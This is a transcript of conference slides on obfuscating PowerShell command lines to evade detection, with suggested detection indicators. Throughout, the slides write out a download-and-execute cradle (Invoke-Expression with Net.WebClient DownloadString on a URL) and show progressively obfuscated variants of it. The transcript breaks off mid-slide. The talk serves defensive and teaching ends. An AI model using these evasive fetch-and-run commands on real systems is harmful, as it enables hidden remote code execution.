[CB16] Invoke-Obfuscation: PowerShell obFUsk8tion Techniques & How To (Try To) D""e`Tec`T 'Th'+'em' by Daniel Bohannon
•Download as PPTX, PDF•
2 likes•1,767 views
The very best attackers often use PowerShell to hide their scripts from A/V and application whitelisting technologies using encoded commands and memory-only payloads to evade detection. These techniques thwart Blue Teams from determining what was executed on a target system. However, defenders are catching on, and state-of-the-art detection tools now monitor the command line arguments for powershell.exe either in real-time or from event logs.
We need new avenues to remain stealthy in a target environment. So, this talk will highlight a dozen never-before-seen techniques for obfuscating PowerShell command line arguments. As an incident responder at Mandiant, I have seen attackers use a handful of these methods to evade basic command line detection mechanisms. I will share these techniques already being used in the wild so you can understand the value each technique provides the attacker.
Updated PowerShell event logging mitigates many of the detection challenges that obfuscation introduces. However, many organizations do not enable this PowerShell logging. Therefore, I will provide techniques that the Blue Team can use to detect the presence of these obfuscation methods in command line arguments. I will conclude this talk by highlighting the public release of Invoke-Obfuscation. This tool applies the aforementioned obfuscation techniques to user-provided commands and scripts to evade command line argument detection mechanisms.
--- Daniel Bohannon
Daniel Bohannon is an Incident Response Consultant at MANDIANT with over six years of operations and information security experience. His particular areas of expertise include enterprise-wide incident response investigations, host-based security monitoring, data aggregation and anomaly detection, and PowerShell-based attack research and detection techniques. As an incident response consultant, Mr. Bohannon provides emergency services to clients when security breach occur. He also develops new methods for detecting malicious PowerShell usage at both the host- and network-level while researching obfuscation techniques for PowerShell- based attacks that are being used by numerous threat groups. Prior to joining MANDIANT, Mr. Bohannon spent five years working in both IT operations and information security roles in the private retail industry. There he developed operational processes for the automated aggregation and detection of host- and network-based anomalies in a large PCI environment. Mr. Bohannon also programmed numerous tools for host-based hunting while leading the organization’s incident response team. Mr. Bohannon received a Master of Science in Information Security from the Georgia Institute of Technology and a Bachelor of Science in Computer Science from The University of Georgia.
1 of 156
More Related Content
[CB16] Invoke-Obfuscation: PowerShell obFUsk8tion Techniques & How To (Try To) D""e`Tec`T 'Th'+'em' by Daniel Bohannon
2. Who I Am
• Daniel Bohannon
• @danielhbohannon , http://danielbohannon.com
• Blue Team w/increasing exposure to Red Team
• Incident Response Consultant @ Mandiant (1yr)
• Previously 5yrs in IT Operations and Security role for national restaurant
franchise
3. Outline:
• Motivation
• Preparing Your Environment for Investigating
PowerShell
• Obfuscation Example: (New-Object Net.WebClient)
• Additional Methods for Remote Download
• More Obfuscation Techniques and Detection Attempts
• Uncommon Encoding/Decoding Techniques
• Launch Techniques
• Invoke-Obfuscation Demo
4. Motivation
• PowerShell as an attack platform and post-exploitation framework is an ever-
increasing trend
• Native and signed Windows binary in Windows Vista and later
• Memory only execution capabilities (evade A/V and application whitelisting)
• Ever-expanding set of attack frameworks
• Used by advanced attackers, script kiddies and penetration testers in both
targeted attacks and commodity malware
• Nearly impossible to detect if command line arguments and/or PowerShell
event logs are not logged and monitored
5. Motivation
• PowerShell can be used in every part of the attack lifecycle
• PowerShell can be executed from many different locations
• Registry: Poweliks, Kovter (mshta or rundll + ActiveXObject)
• File: .ps1/.vbs/.bat and scheduled task
• Macros: Word, Excel, etc.
• Remotely: PowerShell Remoting, PsExec, WMI
• At the end of the day the command will show up in command line arguments
for powershell.exe, right?
6. Motivation
• Current state of detection?
• Monitor and alert on certain strings/commands in command line arguments for
powershell.exe
• -EncodedCommand
• (New-Object Net.WebClient).DownloadString
7. Motivation
• Current state of detection?
• Monitor and alert on certain strings/commands in command line arguments for
powershell.exe
• -EncodedCommand
• (New-Object Net.WebClient).DownloadString
• Not the only way to write this function
• Not the only way to encode
• Not the only way to write this function
• Not the only way to remotely download
8. Motivation
• Know your options!
• I began documenting as many different ways as I could find to accomplish these two tasks:
• Encoding: -EncodedCommand
• Remote Download: (New-Object Net.WebClient).DownloadString
• I began experimenting with ways to obfuscate how these functions and commands
appeared in powershell.exe’s command line arguments
• I began looking for these techniques in my incident response investigations, public
malware samples/reports and current PowerShell penetration testing frameworks
9. Motivation
• My goal as we go through the findings:
• Blue Team – increased awareness of options so detection can adapt
• Detailed process auditing including command line arguments
• Improved PowerShell logging
• Active monitoring of this data
• Searching for known bad + indicators of obfuscation
• Red Team – increased awareness of options for evading detection
• Pros/Cons of each obfuscation technique we discuss
• Open Source Tool – Invoke-Obfuscation
• Make employment of these techniques simple
• Attackers are already obfuscating – test your detection capabilities
10. Outline:
• Motivation
• Preparing Your Environment for Investigating
PowerShell
• Obfuscation Example: (New-Object Net.WebClient)
• Additional Methods for Remote Download
• More Obfuscation Techniques and Detection Attempts
• Uncommon Encoding/Decoding Techniques
• Launch Techniques
• Invoke-Obfuscation Demo
11. Preparing Your Environment for Investigating
PowerShell
• Logs (and retention) are your friend:
1. Enable
2. Centralize
3. MONITOR
• Process Auditing AND Command Line Process Auditing Security EID 4688
• https://technet.microsoft.com/en-us/library/dn535776.aspx
• SysInternals’ Sysmon EID 1 is also a good option
• Real-time Process Monitoring
• Uproot IDS - https://github.com/Invoke-IR/Uproot
• PowerShell Module, Scriptblock, and Transcription logging
• https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html
^ Matt Dunwoody (@matthewdunwoody)
12. Outline:
• Motivation
• Preparing Your Environment for Investigating
PowerShell
• Obfuscation Example: (New-Object Net.WebClient)
• Additional Methods for Remote Download
• More Obfuscation Techniques and Detection Attempts
• Uncommon Encoding/Decoding Techniques
• Launch Techniques
• Invoke-Obfuscation Demo
14. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What process command line arguments can we monitor for this?
15. • Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What process command line arguments can we monitor for this?
• Invoke-Expression
Obfuscation Example: (New-Object Net.WebClient)
16. • Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
Obfuscation Example: (New-Object Net.WebClient)
17. • Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• System.Net.WebClient
Obfuscation Example: (New-Object Net.WebClient)
18. • Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• System.Net.WebClient
• ).DownloadString("http
Obfuscation Example: (New-Object Net.WebClient)
19. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• System.Net.WebClient
• ).DownloadString("http
• Now let's demonstrate why assumptions are dangerous!
20. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• System.Net.WebClient (System.* is not necessary for .Net functions)
• ).DownloadString("http
21. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString("http
22. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString("http (url is a string and can be concatenated)
23. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tps://bit.ly/L3g1t")
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString("http (url is a string and can be concatenated)
24. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tps://bit.ly/L3g1t")
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString("
25. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString(" (PowerShell string can be single or double quotes)
(…and did I mention whitespace?)
(…URL can also be set as variable.)
26. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString(
27. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString( (is .DownloadString the only method for Net.WebClient?)
28. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString(
Net.WebClient class has options:
• .DownloadString
• .DownloadStringAsync
• .DownloadStringTaskAsync
• .DownloadFile
• .DownloadFileAsync
• .DownloadFileTaskAsync
• .DownloadData
• .DownloadDataAsync
• .DownloadDataTaskAsync
• etc.
29. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).Download
30. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).Download
31. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).Download
(New-Object Net.WebClient) can be set as a variable:
$wc = New-Object Net.Webclient;
$wc.DownloadString( 'ht'+'tps://bit.ly/L3g1t')
32. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• .Download
33. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• .Download (Member token obfuscation?)
34. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient).'DownloadString'( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• .Download (single quotes…)
35. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient)."DownloadString"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• .Download (double quotes…)
36. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient)."Down`loadString"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download (tick marks??)
37. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient)."Down`loadString"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
Get-Help about_Escape_Characters
38. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient)."`D`o`wn`l`oa`d`Str`in`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
Get-Help about_Escape_Characters
39. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
Get-Help about_Escape_Characters
40. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
41. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download (Options: Use heavy Regex or remove this indicator)
42. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
WebClient class has options:
• .DownloadString…
• .DownloadFile…
• .DownloadData…
• .OpenRead
• .OpenReadAsync
• .OpenReadTaskAsync
43. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
DownloadString CAN be treated as a string or variable if .Invoke is used!
Invoke-Expression (New-Object Net.WebClient).("Down"+"loadString").Invoke(
'ht'+'tps://bit.ly/L3g1t')
$ds = "Down"+"loadString"; Invoke-Expression (New-Object Net.WebClient).
$ds.Invoke( 'ht'+'tps://bit.ly/L3g1t')
44. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
45. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
46. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
We have options…
1. (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")
2. (New-Object ("Net"+".Web"+"Client"))
3. $var1="Net."; $var2="WebClient"; (New-Object $var1$var2)
47. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Net.WebClient
We have options…
1. (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")
2. (New-Object ("Net"+".Web"+"Client"))
3. $var1="Net."; $var2="WebClient"; (New-Object $var1$var2)
48. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
49. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• There aren't any aliases for New-Object cmdlet, so shouldn't this be safe to trigger on?
If only PowerShell wasn't so helpful…
50. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command shows all available functions, cmdlets, etc.
51. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command RETURNS A POWERSHELL OBJECT!!!
52. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command RETURNS A POWERSHELL OBJECT!!! (which means we can invoke it)
• Invoke-Expression (Get-Command New-Object)
(but since we're dealing with a cmdlet we have more options than just Invoke-Expression)
53. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command RETURNS A POWERSHELL OBJECT!!! (which means we can execute it)
• & (Get-Command New-Object)
• . (Get-Command New-Object)
54. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command New-Object)
• . (Get-Command New-Object)
55. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command New-Objec*)
• . (Get-Command New-Objec*)
56. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command New-Obje*)
• . (Get-Command New-Obje*)
57. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command New-Obj*)
• . (Get-Command New-Obj*)
58. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command New-Ob*)
• . (Get-Command New-Ob*)
59. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command New-O*)
• . (Get-Command New-O*)
60. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command *ew-O*)
• . (Get-Command *ew-O*)
61. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
62. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Did I mention Get-Command also has aliases?
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
• & (GCM *w-O*).
• . (GCM *w-O*)
63. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Did I mention Get-Command also has MORE aliases?
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
• & (GCM *w-O*).
• . (GCM *w-O*)
• & (COMMAND *w-O*).
• . (COMMAND *w-O*)
64. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Did I mention Get-Command also has MORE aliases?
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
• & (GCM *w-O*).
• . (GCM *w-O*)
• & (COMMAND *w-O*).
• . (COMMAND *w-O*)
COMMAND works because
PowerShell auto prepends "Get-"
to any command, so COMMAND
resolves to Get-Command.
65. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Can also be set with a string variable
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
• $var1="New"; $var2="-Object"; $var3=$var1+$var2; & (GCM $var3)
• & (GCM *w-O*).
• . (GCM *w-O*)
• & (COMMAND *w-O*).
• . (COMMAND *w-O*)
66. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression ((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T"). "`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t'))
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Can also be set with a string variable
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
• $var1="New"; $var2="-Object"; $var3=$var1+$var2; & (GCM $var3)
• & (GCM *w-O*).
• . (GCM *w-O*)
• & (COMMAND *w-O*).
• . (COMMAND *w-O*)
PowerShell 1.0 syntax for calling Get-Command (no wildcards):
$ExecutionContext.InvokeCommand.GetCommand("New-Ob"+"ject",
[System.Management.Automation.CommandTypes]::Cmdlet)
$ExecutionContext.InvokeCommand.GetCmdlet("New-Ob"+"ject")
PowerShell 1.0 syntax for calling Get-Command (WITH wildcards):
$ExecutionContext.InvokeCommand.GetCommands("*w-
o*",[System.Management.Automation.CommandTypes]::Cmdlet,1)
$ExecutionContext.InvokeCommand.GetCmdlets("*w-o*")
67. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Can also be set with a string variable
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
• $var1="New"; $var2="-Object"; $var3=$var1+$var2; & (GCM $var3)
• & (GCM *w-O*).
• . (GCM *w-O*)
• & (COMMAND *w-O*).
• . (COMMAND *w-O*)
68. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (& (GCM *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object
• Get-Command Can also be set with a string variable
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
• $var1="New"; $var2="-Object"; $var3=$var1+$var2; & (GCM $var3)
• & (GCM *w-O*).
• . (GCM *w-O*)
• & (COMMAND *w-O*).
• . (COMMAND *w-O*)
69. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (& (GCM *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object || Get-Command || GCM || COMMAND
• Given wildcards it's infeasible to find all possible ways for Get-Command/GCM/COMMAND to
find and execute New-Object, so there is potential for false positives with this approach.
NOTE: Get-Command's
cousin is just as useful…
Get-Alias / Alias / GAL
70. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (& (GCM *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• New-Object || Get-Command || GCM || COMMAND
• Ticks also work on PowerShell cmdlets
71. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• `N`e`w`-`O`b`j`e`c`T || `G`e`T`-`C`o`m`m`a`N`d || `G`C`M || `C`O`M`M`A`N`D
• Ticks also work on PowerShell cmdlets
72. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• `N`e`w`-`O`b`j`e`c`T || `G`e`T`-`C`o`m`m`a`N`d || `G`C`M || `C`O`M`M`A`N`D
• Ticks also work on PowerShell cmdlets
• And so does Splatting
• & (‘Ne’+’w-Obj’+’ect’)
• . (‘Ne’+’w-Obj’+’ect’)
73. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• `N`e`w`-`O`b`j`e`c`T || `G`e`T`-`C`o`m`m`a`N`d || `G`C`M || `C`O`M`M`A`N`D
• Ticks also work on PowerShell cmdlets
• And so does Splatting
• Once again, Regex all of these possibilities or remove this indicator
74. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
75. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
76. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
1. Aliases: Invoke-Expression / IEX
1. Invoke-Expression "Write-Host IEX Example -ForegroundColor Green"
2. IEX "Write-Host IEX Example -ForegroundColor Green"
77. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (& (`G`C`M *w-O*)
